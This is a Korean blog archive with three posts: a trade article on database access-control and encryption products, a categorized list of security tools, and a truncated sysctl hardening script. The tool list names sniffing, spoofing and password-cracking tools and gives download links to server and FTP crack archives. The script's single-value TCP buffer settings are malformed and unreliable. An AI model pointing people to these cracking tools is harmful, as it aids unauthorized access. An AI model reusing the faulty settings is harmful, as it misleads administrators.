네트워크 및 서버 단계에서 DB에 대한 접근을 통제하는 솔루션인 DB 접근제어 솔루션은 DBMS에 부하를 주지 않고 SQL을 실시간 감시할 수 있도록 패시브 모드, 인라인 모드, IP포워드 모드 등으로 보안을 적용, DB보안에 필수적으로 발생할 수밖에 없는 속도저하를 최소화할 수 있다는 장점이 있다. 또한 사전 정보 접근 통제 및 사후 정보보호 감시체계로 구성되며 인가된 사용자를 어떻게 통제하고 감시할 것인가에 초점을 맞추고 있다.
웨어밸리(대표 손삼수)의 ‘샤크라(Chakra)’는 데이터베이스의 접근을 실시간으로 추적하고 감시하는 데이터베이스 보안 솔루션이다. 데이터베이스 서버에 누가, 언제, 어디서, 어떤 데이터를 조회 또는 변경했는지 100% 기록함으로써 데이터 유출 사고를 미리 방지하는 데 초점을 맞췄다. 또 사전접근통제용 ‘트러스티드 오렌지(TRUSTED Orange)’도 보유하고 있다.
웨어밸리 컨설팅 본부 김병철 본부장은 “이미 인가된 사용자가 접근할 수 있는 DB를 암호화하는 것보다 기록, 탐지, 감사에 초점을 맞춘 웨어밸리의 DB보안 솔루션은 써드파티 솔루션으로 성능저하 없이 DB에 생길 수 있는 사고를 사전, 사후 보안하는 것이 특징”이라며 “샤크라는 패킷 스니핑 방식을 이용해 서버나 네트워크에 부하를 주지 않고 100% 쿼리를 로깅하며 침입탐지, 침입차단 및 후속조치를 가능케 하고 트러스티드 오렌지는 종합적인 검색을 통해 문제 발생시 실행된 SQL 문장, 실행시간, 실행 유저 등을 추적하는 기능을 제공한다”고 설명했다.
웨어밸리는 기존 고객들인 금융권을 중심으로 샤크라, 트러스티드 오렌지를 공급하며 SMB용 어플라이언스 형태의 제품도 오는 6월중 출시할 계획이다.
바넷정보기술(대표 이창하)의 ‘미들만(Middleman)’은 내부 전산 정보의 유출·조작 등을 방지하기 위해 사전·사후 접근통제 기능을 제공한다. 게이트웨이 방식에 의한 DB접근제어 및 감사와 모니터링 시스템으로 내부사용자(IT부서직원 및 아웃소싱 업체 직원)에 의한 데이터 오남용 및 외부유출 방지 솔루션. 특징으로는 중요한 DB 작업은 온라인상으로 책임자의 승인 후 작업이 실행되도록 하며, 이 경우 모든 작업이력은 로그 DB에 저장한다. 기타 조회작업에 있어서는 개인별 조회건수, 다운로드 허용여부 등을 내부 보안정책에 따라 선택할 수 있는 옵션 기능을 내재하고 있다. 또 개인별 ID 관리를 통해 DB에 대한 사전접근을 통제하고 사고 발생 후 모니터링 및 이력관리 기능으로 원인을 추적, 분석할 수 있다.
한국증권금융에 미들만을 공급한 바넷정보기술은 올해 일본 시장 진출 등도 고려하며 금융, 공공, 통신, 제조 등 데이터베이스를 보유한 모든 회사들을 타깃으로 영업을 강화할 방침이다.
바넷정보기술의 김덕형 이사는 “태생자체가 금융권 현장에서 실무적인 요구에 의해 개발된 제품이어서 일반 연구소에서 이론적인 접근을 통해 개발된 제품이 가지는 한계성을 극복 가능한 것이 미들만의 장점”이라며 “금융권 마케팅은 직판에 주력하고, 비 금융권은 일반 및 공공기관을 분류하여 전문영업채널 구축을 통한 영업력 극대화를 통해 국내시장 석권을 목표로 하고 있다”고 언급했다.
역시 게이트웨이 방식의 권한제어 솔루션인 피앤피시큐어(대표 박천오)의 ‘DB세이퍼(DB Safer)’는 모든 DB 접속 요청이 DB 보안 게이트웨이를 통해 처리되며 게이트웨이 방식만이 할 수 있는 보안기능으로 DB 서버에 명령을 입력하기 전에 DB세이퍼가 보안 정책에 의해 차단이 가능하다. 접속제어, 권한제어, SQL 감시 및 로깅, 보고서 등의 기능을 제공하며 바이패스 기능으로 네트워크 중단사태를 방지해주며 속도 문제도 해결해 준다.
피앤피시큐어의 박천오 사장은 “DB세이퍼는 오라클 커넥션을 유지하면서 사용자가 모르게 처리, 로그 자체를 DB에 쌓으면서도 시스템에 부하를 안 가게 하는 것이 특징이다”며 “DB에 로그를 넣으면 하드웨어 성능이 급격히 떨어지는 것이 문제인데 그 문제를 해결했다. DB보안을 적용하면 성능이 떨어지는 건 당연하지만 사용자가 느낄 만큼의 속도는 아니다”라고 언급했다. 피앤피시큐어의 DB보안 제품은 현재 오라클 DBMS 중심이지만 싸이베이스, MS SQL 등을 제공하는 제품을 3/4분기에 개발할 예정이다. 또 텔넷보안을 강화시키는 신제품도 개발중이다. 서울대, 기획예산처, 성남시청, 파주시청 등의 레퍼런스를 보유하고 있는 피앤피시큐어는 관공서 등 공공 기관을 타깃으로 집중 영업하며 금융권 고객도 강화, 올해 약 18억원 이상의 매출을 올린다는 방침이다.



DB 자체 암호화로 안전보장 ‘OK’
하지만 DB에 가능한 부하를 최소화하면서 DB의 사전 접근 제어, 사후 감사 등을 통해 DB의 안전한 사용을 보장하는 컨셉도 좋지만 만약 DB가 유출됐을 시에는 접근제어 솔루션 만으로는 해결할 수가 없다. 이에 DB자체를 암호화, 데이터 유출시에도 안전을 보장할 수가 있는 DB암호화 솔루션도 속속 출시되고 있다. DB 자체를 암호화하는 솔루션은 해킹 및 내부 사용자의 DB 유출시에도 DB의 불법적인 사용을 차단할 수 있다는 점에서 각광받고 있다.
지난해 초반부터 제품을 출시, 선발업체로 기반을 다진 펜타시큐리티(대표 이석우)는 DB보안 솔루션인 ‘디아모(D’Amo)’를 올해의 주력사업으로 레퍼런스 확보에 박차를 가할 방침이다. 오라클 DB에 적용 가능한 디아모는 기업내 DB보안 정책 수립 및 적용, 암호화된 컬럼에 대한 세분화된 접근 컬럼 및 부여 등의 기능을 제공하며, 타사보다 풍부한 고객사 지원 노하우를 내세운다.
DB내 주요 데이터를 컬럼 단위로 암호화해 성능 저하를 최소화하며 총 16단계의 암호화 작업으로 암호화 설정 및 제거 작업 중 에러가 발생되면 자동 롤백 또는 수정 후 작업이 진행되기 때문에 기업의 연속성을 보장할 수 있다. 또한 디아모는 DB에 직접 탑재돼 설치가 간단하다는 것이 장점이며 장비와 네트워크 구성 변경 등의 기존 시스템 변경이 전혀 없다.
펜타시큐리티 기술지원팀 이종의 부장은 “지난해보다 올해 DB보안에 대한 고객들의 문의가부쩍 늘어 올 하반기쯤되면 본격적으로 DB보안 시장이 꽃을 피울 수 있을 것”이라며 “DB보안의 성격이 아니면서도 DB보안 기능이 가능하다고 언급하는 업체들이 많아 업체간 난립, 출혈 경쟁 등이 우려된다. 고객들이 제품 성능을 신중히 살펴보고 선택해야할 것”이라고 조언했다.
펜타시큐리티는 최근 공정거래위원회와 정읍시청에 디아모를 공급한 것을 비롯해 기업은행, 수출입은행 등 금융권과 경찰청, 부패방지위원회, 서울시청, 울산시 교육청, 그리고 서울대학교 등 다수의 고객사를 확보하고 있다.
지난 3월 DB보안 사업을 위해 설립된 위즈메카(대표 오영섭)은 미국 프로테그리티의 ‘시큐어닷데이터(Secure.Data)’의 총판이다.
시큐어닷데이터는 필드 및 사용자 레벨에서의 보안 감사 정보를 제공하며 DB관리와 보안 관리의 권한분리, 테이블내 특정 컬럼의 암호화, 접근제어, DB 접근에 대한 감사 로그, 키관리, AES, 3-DES 등 국제 표준 암호화 알고리즘 적용 등이 특징이다. 또한 오라클 DB뿐만 아니라 MS SQL, DB2, 사이베이스, 인포믹스, 테라데이타 등 거의 모든 시중에 나와 있는 DBMS를 지원할 수 있다. 솔라리스, 윈도, 리눅스, NCR 등 운영체계도 모두 지원한다. 시큐어닷데이터 역시 DB에 직접 엔진이 창착되지만 애플리케이션에서 암호화를 적용해도 인덱스를 타고 내려오기 때문에 성능 저하를 5% 내외로 안정화시킨 것도 장점으로 내세운다.
위즈메카의 오영섭 사장은 “시큐어닷데이터의 특성은 성능과 안정성으로 글로벌한 노하우가 보장된 제품”이라며 “오라클 등 DBMS의 사상과 함께 개발됐기 때문에 오라클 등의 업데이트가 이뤄지면 소스 코딩 없이 바로 커스트마이징 해줄 수 있어 적용이 손쉽다”고 언급했다. 또 그는 “가격은 다소 비싸지만 제품의 품질과 AS 측면에서 결코 떨어지지 않는 제품이다”며 “혹여라도 DB에 영향을 주지 않는지 걱정하는 고객들을 위해 부분적으로 적용시켜가며 검증되면 전사적으로 도입하는 것을 권유하고 있다”고 덧붙였다.
위즈메카는 현재 대주주이자 주요 리셀러인 퓨처인포넷을 비롯해 리셀러를 모집중이다. 향후 리셀러 중심으로 판매할 계획이며 주요 고객 대상의 타깃마케팅으로 인지도를 높이는데 우선 주력할 방침이다.

PKI 암호화로 한층 강화된 DB 보안 ‘약속’
이처럼 DB의 특정 부분을 컬럼 단위로 암호화시키고 DB 자체에 직접 탑재되는 디아모, 시큐어닷데이터와는 조금 다르지만 역시 DB암복호화를 통해 DB를 보안하는 제품을 출시하고 있는 소프트포럼, 이니텍 등의 제품도 서서히 세력을 넓혀가는 중이다. 주로 PKI 기반의 암호화를 수행하던 업체들에서 암호화 기법에 대한 노하우를 적용시켜 제품 출시를 서두르고 있는데 이 제품들은 DB와 별도로 서비스 서버 등에서 DBMS와 연동해 DB암복호화를 수행하는 것이 특징이다.
소프트포럼(대표 김상철·정현철)은 ‘엑스시큐어(Xecure)DB 스탠더드’와 ‘엑스시큐어 DB 엔터프라이즈’ 두 종류의 제품을 구비하고 있다. 엑스시큐어 DB는 애플리케이션과 연동해 데이터 암복호화를 수행하는 방식의 DB암호화 제품이며 엑스시큐어 DB 엔터프라이즈는 DBMS와 연동해 데이터 암복호화를 수행하는 방식의 DB 암호화 제품이다. 이 제품은 애플리케이션 수정이 필요 없어 적용이 간편하나 애플리케이션 서버와 DB서버 간 구간 암호화를 고려해야 한다.
DBMS와 연동한 DB 암/복호화, 전자서명, 검증 기능, 데이터의 선택적 암/복호화, 전자서명, 검증 기능, PKI를 이용한 관리자 인증, 키 관리 기능, 암/복호화에 관련된 키의 안전한 관리, 암/복호화 응답 성능 증대를 위한 캐시 기법 구현 등이 엑스시큐어 DB 시리즈의 장점이다.
소프트포럼도 PKI 등에서 쌓은 노하우와 기술력을 접목시켜 자사의 DB보안 솔루션 ‘엑스시큐어(Xecure)DB 엔터프라이즈’에 접목시킬 계획이다. 소프트포럼 아이덴티티 솔루션 개발팀 심문수 팀장은 “현재 기존 엑스시큐어 DB 엔터프라이즈의 제품외에도 ‘시큐어 DB 스탠더드’ 버전 업그레이드 출시를 위해 DB전문업체와 공동개발한 제품이 곧 발표될 것”이라며, “공공 기업 금융기관 등 전 기관에 걸쳐 폭넓게 영업할 방침”이라고 밝혔다. 또 소프트포럼은 삼성카드, 롯데카드, 금융결제원, 국세청, 서울교통카드, 모디아 등에 엑스시큐어 DB를 공급, 올해 레퍼런스를 전방위로 넓혀갈 계획이다.
지난해 10월에 출시된 이니텍(대표 김재근)의 ‘세이프(Safe) DB’는 데이터베이스에 저장된 데이터를 암호화하고 데이터베이스에 대한 접근을 제어함으로써 중요한 데이터를 보호할 수 있는 데이터베이스 보안 솔루션이다. 세이프 DB는 데이터베이스에 저장된 데이터를 암/복호화하기 위해 애플리케이션의 수정이나 별도의 개발 과정 없이 데이터베이스에 추가 설치하는 과정만으로 중요 데이터를 암호화하고 간편하게 보안정책을 적용할 수 있는 것이 장점이다.
또한 허가된 사용자 이외에는 암호화된 정보에 접근할 수 없도록 함으로써 보안을 강화했고, 데이터베이스 관리자도 보안관리자의 승인 없이는 암호화된 정보를 조회하거나 수정, 삭제할 수 없어 내부자에 의한 정보 유출을 방지할 수 있다. 키의 안전한 저장 및 관리를 위한 하드웨어 방식의 스마트 카드도 지원한다. 아직 오라클 버전만을 지원하지만 곧 사이베이스와 인포믹스 지원용으로 업그레이드할 방침이다. 한편 이니텍은 기존에 보유한 ‘이니세이프(INISAFE) DB 프로텍터(Protector)’ 제품과 새로 출시한 세이프 DB를 연동해 시너지를 높일 방침이다.
이니텍의 보안사업부 이홍일 팀장은 “DB보안의 가장 큰 관건은 성능이다”며 “PKI 등은 강제사항으로 정부에서 설치를 권유하지만 기업의 주요 정보가 담겨있는 DBMS는 상당히 민감한 부분이라 강제사항이 적용된다 해도 성능 저하를 꺼려 고객들이 적용하는데 주저한다”고 언급했다. 또 그는 “이에 따라 이니텍은 성능에 가장 적은 영향을 미치는 제품을 개발하는 한편 대형 레퍼런스 확보에 가장 큰 주안점을 둘 예정”이라고 언급했다.
올해 말경 출시 예정인 케이사인(대표 최승락)의 ‘케이사인 시큐어(KSignSecure)DB’는 DB 암호화를 위해 성능적인 측면을 고려한 대칭 키 사용 및 키 관리 안전성 확보를 위해 키 프로파일 관리 목적의 PKI 기술을 조합, 사용함으로 성능적, 보안적 수준을 강화한 제품이다.
케이사인 시큐어 DB는 개인정보보호를 위해 개인별 키 프로파일 관리를 통해 개별적 개인정보 접근 통제에 따른 프라이버스 보안 기능을 제공하며 필드별, 정보별 암호 키를 별도 사용할 수 있도록 함으로 암호 키 파괴 및 노출에 대한 피해를 최소화할 수 있다.
또한 암호화 키의 안전성 보장을 위해 주기적인 키 갱신 처리에서 다수의 키를 사용하고 사용되는 키의 갱신 주기의 분산화 처리로 인한 성능적으로 발생하는 문제점을 미연에 해결할 수 있는 메커니즘을 제공할 계획이다.
케이사인 구자동 연구소장은 “비교적 후발로 출시되는 만큼 차별화된 요소를 갖기 위해 케이사인은 PKI, EAM, SSO 등 기존 제품들과 결합된 기능의 좀더 견고한 보안솔루션으로 출시, 기술력으로 승부할 것”이라며 “개인정보보호법이 시행될 하반기와 맞물려 제품을 출시하고 우선 공공 기관 등을 중심으로 영업한다는 방침”이라고 언급했다. 또 그는 “케이사인 시큐어 DB는 데이터 암호화키는 제공 서비스 외부에 노출되지 않고, 데이터 암/복호화 시점에만 인가된 자에게 해당 암호 키를 제공하기 때문에 안전한 암호화 관리가 가능하다”며 “특히 데이터를 필드(컬럼)보다 미세한 로우(레코드)별로 암/복호화를 시킬 수 있어 성적 등 같은 종류의 데이터에 대해 권한별로 데이터 접근허용 범위를 다양화할 수 있는 것이 장점”이라고 강조했다.

네트워크·PC단위의 DB보안까지 책임진다
한편 S/W타입의 DB보안 솔루션이 주류를 이루고 있는 가운데 한국전자증명원(대표 이재동)은 美 인그리안사의 하드웨어 일체형 DB 암호화 솔루션 ‘데이터시큐어’를 출시, 판매하고 있다.
이 제품은 DB서버 뿐 아니라 애플리케이션 서버, 웹서버에 연동되며 인터넷 환경에서 데이터를 암호화된 상태로 전송, 저장한다. 보안 적용대상 서버의 플랫폼에 상관없이 설치가 가능하며 오라클, MS SQL, DB2, 사이베이스, 인포믹스 등을 적용할 수 있다. SAN, NAS 환경의 DB암호화도 가능하며 어플라이언스 타입이기 때문에 환경 변화에 따른 위험성도 최소화되고 다량의 애플리케이션/DB 서버와도 연동될 수 있다는 것도 장점이다.
데이터시큐어는 FIPS 지원과 리던던시 지원의 ‘i211, i215, i221, i225’의 4가지 형태의 모델이 있으며 최상위 모델인 i225는 기가비트 인터페이스를 지원한다.
한국전자증명원의 솔루션사업부 박태희 과장은 “하드웨어 형태의 제품이라 네트워크에 붙어 동작하기 때문에 위치적으로 유연성, 호환성이 뛰어나다”며 “소프트웨어적으로 DB에 직접 설치되는 것이 아니라서 DB에 주는 부하가 적어 속도 저하 걱정이 없다. 특히 기가비트급 성능을 제공하는 하이엔드 모델도 있어 전체 네트워크 속도 저하를 우려하는 고객들의 걱정도 덜었다”고 언급했다.
한국전자증명원은 금융, 통신, 대기업, 공공 등에 활발히 영업중이며 상반기까지는 우선 인지도를 알리는데 주력하며 하반기부터 본격 기술력으로 승부한다는 방침이다.
또한 문서보안 솔루션을 주력으로 시장에 공급하던 파수닷컴(대표 조규곤)은 최근 자사의 문서보안 솔루션 기술을 활용해 DB보안에 접목시킨 솔루션을 공급중이다.
파수닷컴은 파일전달 솔루션 랩소디, 문서전달 솔루션 FSD를 응용해 파일 생성시의 암호화, 사용내역, 로그관리 등의 기능을 제공한다. 한마디로 개인용 PC에 저장할 때 암호화할 수 있도록 지원하는 파수닷컴의 솔루션은 쇼핑몰 등에서 택배사나 아웃소싱 업체로 DB를 넘겨주고 받을 때 DB가 유출될 수 있는 가능성을 최소화하기 위해 개발됐다.
로그로 남겨야 하는 일련번호, 형태, 일시, 목적, 행위를 한 사람의 소속 및 성명, 전달 받을 자, 파기 일자의 7가지 항목에 대해서 관리할 수 있도록 제품을 공급중이며 DRM의 원천 기술을 응용해 DB에 적용시킨 것이 특징이다.
파수닷컴의 사업부 김규봉 부장은 “DB를 조회하는 사용자를 통해 유출되는 경우가 많아 이에 대비하기 위해 개발된 파수닷컴의 DB보안 솔루션은 경쟁사들이 갖지 못하는 ‘추적관리기술’이 파수닷컴의 장점이다”라며 “파수닷컴의 제품은 외부에서 사용시 자동으로 로그가 남는 특징으로 외부 유출을 방지하고 외부 유출시 이에 대한 추적이 가능하다”고 언급했다.
파수닷컴은 중소기업들이 요구가 많기 때문에 가격정책은 유연하게 가져갈 예정이다. 기존 랩소디 서비스의 ASP 서비스와 맞물려 DB보안 솔루션도 ASP 서비스를 개시, 고객들이 초기에 큰 투자비용 없이 구축가능토록 ASP형 서비스를 준비중이다. 쇼핑몰, 유통업체, 운수업체, 숙박업, 학원 등을 주 타깃으로 영업하고 있는 파수닷컴은 최근 고객들의 문의가 줄을 이어 올해 DB보안과 관련해 10억원 이상의 매출을 올릴 수 있을 것으로 기대하고 있다.

올해 약 150억원 시장 형성 기대
이처럼 다양한 방식의 DB 보안 솔루션들이 격돌을 벌이고 있는 가운데 올해 국내 DB보안 시장은 약 150억원 이상의 시장을 형성할 전망이다. 본지의 조사에 의하면 국내 주요 DB보안 업체들은 약 200억원 가량의 예상매출액을 제시했지만 다소 부풀려진 경향이 크고 전체 보안 시장 규모 등을 감안할 때 DB보안에 대한 도입이 활발하다면 약 150억원 가량의 시장 형성을 기대할 수 있을 것으로 전망된다.
지난해 고작 20억~30억원대의 시장을 형성했던 것에 비하면 엄청난 성장을 기대하는 것인데 이에 대해 업계의 관계자들은 개인정보보호법 발효에 대한 기대심리와 도처에서 발생되고 있는 보안 사고로 기업들의 경각심이 고조돼 DB보안에 대한 요구가 갈수록 커지고 있기 때문에 기대해 볼만한 수치라고 언급한다.
DB보안 제품을 출시하고 있는 업체들은 공공, 금융 등이 우선 주 고객으로 떠오를 전망이라고 이구동성으로 언급하고 있다. 특히 금융 기관의 요구가 강하며 공공과 통신 등 고객서비스를 우선하는 곳에서도 DB보안에 대한 필요성이 대두되고 있다.
한 업계의 관계자는 “올해는 DB보안 암호화의 원년이 될 것”이라며 “대다수의 업체들이 금융권을 타깃으로 주로 생각하지만 고객의 정보를 취급하는 모든 곳이 고객이 될 수 있다. 따라서 시장은 엄청나다”고 언급했다.
지금까지 국내 DB 보안은 암호화나 인증 또는 접근통제 방식 등의 기술적 관점에서 논의돼 왔다. 그러나 데이터베이스는 조직의 가장 내부에 존재하는 정보이고 이미 인가된 사용자들만 접근할 수 있다는 것을 기본 조건으로 한다. 즉 DB 보안이라는 개념이 일반적인 보안의 의미가 아니라 데이터베이스 관리자 등의 인가된 사용자들의 작업 내역에 대한 감사, 내부 사용자들의 자료 유출 방지 등의 의미로 초점이 맞춰져야 한다는 것이다.
따라서 DB보안은 기술적 관점이 아닌 경영적, 조직적, 프로세스적 관점으로 논의돼야 한다. 보안 담당자와 외부 침입 방시 시스템이나 DB 암호화, 인증시스템 등의 기술적 인프라에 대하여 논하는 하부적인 방식이 아니라 CEO 또는 CIO가 기업 정보자산에 대한 보안 전략을 수립하고 그에 따른 조직을 운영하고 업무 절차를 수립한 후 효율적인 보안 임프라를 구축하는 전사적 체제의 보안 방식으로 운영돼야 한다는 것.
업계의 전문가들은 “문제가 있는 것을 고객들이 알지만 일단 효과가 눈에 보이는 부분부터 치중하는 경향이 있다. DB보안을 안했다고 윗선에서 지침이 내려오는 것도 아니라서 일선에서 DB보안은 IPS 등과 같은 눈에 보이는 보안제품보다 밀리는 경향이 있다”며 “IPS나 방화벽 등을 설치하는 이유도 궁극적으로는 서버의 데이터베이스를 보안하기 위한 것이다. DB보안은 기업의 핵심이다”고 언급하는 등 경영자들의 DB보안에 대한 각성을 촉구하고 있다.
국내에서도 DB보안 시스템이 단지 DB에 대한 접근을 막는 한정적인 의미에 멈출 것이 아니라 기업의 가장 근간이 되는 중요 정보자산에 대한 궁극적인 보호와 건전한 운영을 위한 전사적인 경영 전략과 그에 따른 시스템 운영의 방식으로 인식되어야 할 것이다. 그리고 그런 움직임은 이미 고객들로부터 시작돼 올해 국내 DB보안 시장은 개화의 원년으로 향후 지속적인 성장이 기대되고 있다.

인지도 확보·고객 마인드 전환 관건
하지만 DB보안 솔루션은 아직 정형화된 표준이 없고 SI성으로 진행되는 경우가 많다. 또 DB에 보안을 걸면 어떤 방식으로 적용시키든 적용전보다 시스템의 속도가 느려지기 마련이다. 따라서 속도저하를 꺼리는 관리자들에 의해 DB보안 솔루션 도입이 쉽게 이뤄지지는 못한다. 한 업계의 관계자는 “DB보안 솔루션을 제공하는 업체들은 고객들의 속도와 편이성을 최우선으로 고려해야한다. 절대 사용자에게 불편을 줘서는 안된다”며 “정보를 보호해주는 바탕위에서 성능과 안정성이 보장돼야만 DB보안이 진정으로 확산될 수 있을 것”이라고 언급했다.
또 기존 애플리케이션을 얼마나 수정해야 하는지 기존 시스템과의 호환성 등도 걸림돌이 되고 있으며 무엇보다 DB보안에 대한 고객들의 인식이 부족하다는 점이 DB보안 확산의 근본적인 문제라고 지적한다. 관련 전문가들은 “개인정보에 대해 보안해야하는 필요성은 공감하지만 그 정도가 약하다”며 ”주요정보는 반드시 암호화해서 저장해야하며 권한에 따른 접근제어가 반드시 필요할 것“이라고 언급하고 있다.
그러나 가장 큰 문제는 DB보안의 시장 활성화를 기대하며 무분별하게 진입하고 있는 업체들의 난립이다. 앞서 살펴본 것처럼 DB보안은 데이터베이스에 접근하는 방식이 여러 가지이고 다양한 형태의 제품이 공존하고 있어 제품 선택에 고객들의 혼란이 우려된다. 따라서 고객들은 자사의 상황을 우선적으로 파악한 후 자사의 형태에 가장 적합한 제품을 고르는 현명한 선택이 요구되고 있다. 즉 시스템 성능을 최우선으로 고려하고 있는 고객이나 내부 사용자에 대한 정보 유출의 가능성이 낮다고 판단된다면 예방적 의미로 접근제어, 사후 감사 솔루션 등이 적합할 것이다.
반면 아웃소싱 업체를 많이 활용하고 있거나 다양한 사용자들이 DB에 접근할 가능성이 있다면 DB자체를 암호화하는 솔루션 등이 적합하다. 공급 업체들도 자사의 제품이 최고라는 식으로 선전하기 보다 고객 상황을 먼저 살피고 이에 적합한 제품을 공급, 시장 자체를 키워나가려는 노력이 선행돼야할 것이다.
현재 대부분의 기업은 중요 데이터에 대한 데이터베이스 의존도가 증가하고 있으며 주요 정보에 대한 침해사고 및 도용, 악용사례가 늘어나는 추세다. 고객정보, 금융정보 등 정보 유출시 심각한 피해가 발생할 수 있으며 이는 기업 이미지 추락으로 이어져 금액으로 환산할 수 없는 피해를 입히게 된다.
따라서 이런 문제를 해결하기 위해 DB에 대한 전문적이고 강력한 보안 솔루션의 필요성이 대두되는 것이다. DB보안은 주요 DB의 유출을 방지하고 고객의 신뢰성을 향상시키며 기업 정책 및 가이드라인을 만족시키는 솔루션으로 그 유용성이 점차 증대될 전망이다
Posted by 티엘로

 

서버취약점 점검 툴

         Cops (Computerizes Oracle and Password System) : 대표적인 보안점검 도구

스캐너관련 툴

         SAINT : 관리자용 네트워크 진단도구
         PortSentry : 대표적인 스캐닝방어도구이며 가장 많이사용하는 보안도구
         nmap : 서버의 취약점을 점검해주는 보안도구 (해킹시 상대 웹서버 포트 스캔용으로 사용됨)
         ISS (Internet Security Scanner) : 상업적인 스캐닝도구
         Nessus : 서버내의 취약점(헛점)들을 점검해주는 도구
         CGI scanner : 웹서버의 취약점을 스캐닝하는 도구 (cgi 스크립트 스캐닝)
         Courtney : per로 되어 있는 SATAN, SAINT 검색기
         IcmpInfo  : DOS공격등을 하는 ICMP 프로토콜의 감시도구
         scan-detector : UDP 스캔검색
         klaxon : 포트스캔검색도구
         SuperScan : 윈도용 포트스캔(Port Scan)의 대표도구
         Teleport Pro : 웹사이트(홈페이지) 스캔전용 툴(Download)

패스워드 훔쳐보는 크랙도구  

         Crack : 대표적인 패스워드 크랙도구
         WWWcrack : 패스워드크랙의 대표적인 툴        

침입발견도구들

         chkwtmp : wtmp파일에서 삭제된 부분을 검사하는 도구
         tcplogd : Stealth scan을 발경할 수 있는 침입발견도구
         Snort : 대표적인 침입발견도구
         HostSentry : 허용되지않은 로그인이나 침입발견 도구
         Shadow : Stealth Scan 발견툴
         MOM : 분산침입 발견도구
         AAFID : MOM과 같은 분산침입 발견도구

로그감시도구들

         SWATCH (Simple Watch) : 실시간 로그인감시 툴
         Watcher : 시스템로그와 데몬들의 실행상태를 감시하는 툴
         PingLogger : ping이 사용하는 프로토콜인 ICMP관련 로그를 감시하는 툴
         Analog : SWATCH와 함께 잘 알려진 로그감시 툴

방화벽 도구들

         Tcp Wrapper : 가장 대표적인 방화벽도구 tcpd
         ipfwadm : 방화벽 도구, 일명 패킷필터링 도구
         ipchains : 리눅스에 기본으로 설치되는 강력한 방화벽 도구

스니퍼관련 도구들

         linsniffer : 대표적인 스니핑도구
         linux_sniffer : 리눅스에서 사용가능한 스니핑도구
         hunt : 세션스누핑이 가능한 도구
         sniffit : 설정기능이 있는 스니핑도구
         ifconfig : NIC(랜카드)설정 및 네트워크상태 확인도구
         NEPED (Network Promiscuous Ethernet Detector) : 네트웍카드 스니핑도구

스푸핑 도구들

         mendax : IP Spoofing 도구
         seq_number.c
         ipspoof : 잘 알려진 스푸팅 도구
         snoof : DNS 스푸핑 도구
         ERECT : DNS 스푸핑 도구
         jizz : DNS 스푸팅 도구
         spoofscan : Rootshell이 만든 스푸팅 도구
         pmap_sett/unset : 패트릭 길버트가 만든 스푸핑 도구
         ICQ File transfer spoofer : ICQ 스푸핑 도구
         syslog-poison.c : 514번 포트를 사용하는 스푸핑 도구
         ICQ Hijaak : Wolveesbane이 만든 스푸핑 도구
         icqspoof.c : Seth McGann이 만든 스푸핑 도구
         RIP Spoofer : Kit Knox가 만든 스푸핑 도구
         syslog_deluxe : Yuri Volobuev가 만든 스푸핑 도구
         spoofkey : Greg Miller가 만든 스푸핑도구
         sirc4 : IRC와 Telnet 스푸핑 도구

파일무결성 검사툴

         Tripwire : 가장 대표적인 파일무결성 검사툴
         TAMU : The Texas AMU로서 파일무결성 검사툴
         trojan.pl : perl로 제작되어 이식성이 강한 파일무결성 검사툴

기타 크랙 툴

        서버크랙툴 : http://www.psygonx.de/Cracks/ServerCrack.zip
        FTP크랙툴 : http://www.psygonx.de/Cracks/FTPCrack.zip

참고도서 - 리눅스 서버 관리 실무바이블

Posted by 티엘로


쉘스크립 을 통한 리눅스 웹서버 보안 코드

cat LinuxKernelCustom.sh

-----------------------------------
#!/bin/sh
#
# apache Optimizer
#


IPADDR="`/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"


# Usage : [IPADDR] is system ip address include
       
case "$1" in
        start)
        echo -n "Starting ${IPADDR} TCP.IP Network Optimize..........................";
        echo;
        echo;
        # 브로드캐스트(Broadcast) 요청에 반응하지 않도록 설정
        eval 'sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1';
       
        # SyncFlooding 공격대응
        eval 'sysctl -w net.ipv4.tcp_max_syn_backlog=1280';
        eval 'sysctl -w net.ipv4.tcp_syncookies=1';
        # Proxy ARP 미설정
        eval 'sysctl -w net.ipv4.conf.eth0.proxy_arp=0';
        eval 'sysctl -w net.ipv4.conf.lo.proxy_arp=0';
        eval 'sysctl -w net.ipv4.conf.default.proxy_arp=0';
        eval 'sysctl -w net.ipv4.conf.all.proxy_arp=0';


        # TCP SYN Cookie 방어 설정
        eval 'sysctl -w net.ipv4.tcp_syncookies=1';


        # ICMP 리다렉트(REDIRECT) 차단 설정
        eval 'sysctl -w net.ipv4.conf.all.accept_redirects=0';
        eval 'sysctl -w net.ipv4.conf.lo.accept_redirects=0';
        eval 'sysctl -w net.ipv4.conf.eth0.accept_redirects=0';
        eval 'sysctl -w net.ipv4.conf.default.accept_redirects=0';


        # 부적합한 오류 메세지 로그기록 설정
        eval 'sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1';


        # IP 스푸칭(SPOOFING) 차단 설정
        eval 'sysctl -w net.ipv4.conf.all.rp_filter=1';
        eval 'sysctl -w net.ipv4.conf.lo.rp_filter=1';
        eval 'sysctl -w net.ipv4.conf.eth0.rp_filter=1';
        eval 'sysctl -w net.ipv4.conf.default.rp_filter=1';
       
        # 소스 라우팅(source routing) 패킷 거부 설정
        eval 'sysctl -w net.ipv4.conf.all.accept_source_route=0';
        eval 'sysctl -w net.ipv4.conf.lo.accept_source_route=0';
        eval 'sysctl -w net.ipv4.conf.eth0.accept_source_route=0';
        eval 'sysctl -w net.ipv4.conf.default.accept_source_route=0';


        # 스푸핑, 소스 라우팅 및 리다이렉트 패킷 로그기록 설정
        eval 'sysctl -w net.ipv4.conf.all.log_martians=1';
        eval 'sysctl -w net.ipv4.conf.lo.log_martians=1';
        eval 'sysctl -w net.ipv4.conf.eth0.log_martians=1';
        eval 'sysctl -w net.ipv4.conf.default.log_martians=1';


        # TCP/IP 네트워크 최적화
        eval 'sysctl -w net.ipv4.tcp_fin_timeout=30';
        eval 'sysctl -w net.ipv4.tcp_keepalive_time=180';
        eval 'sysctl -w net.ipv4.tcp_window_scaling=0';
        eval 'sysctl -w net.ipv4.tcp_sack=0';
        eval 'sysctl -w net.ipv4.tcp_timestamps=0';


        # BUFFER-SPACE 최적화 (RAM 2GB 이상일 경우)
        eval 'sysctl -w net.ipv4.tcp_mem=100000000';
        eval 'sysctl -w net.ipv4.tcp_wmem=100000000';
        eval 'sysctl -w net.ipv4.tcp_rmem=30000000';


        # BUFFER-SIZE 최적화 (RAM 2GB 이상일 경우)
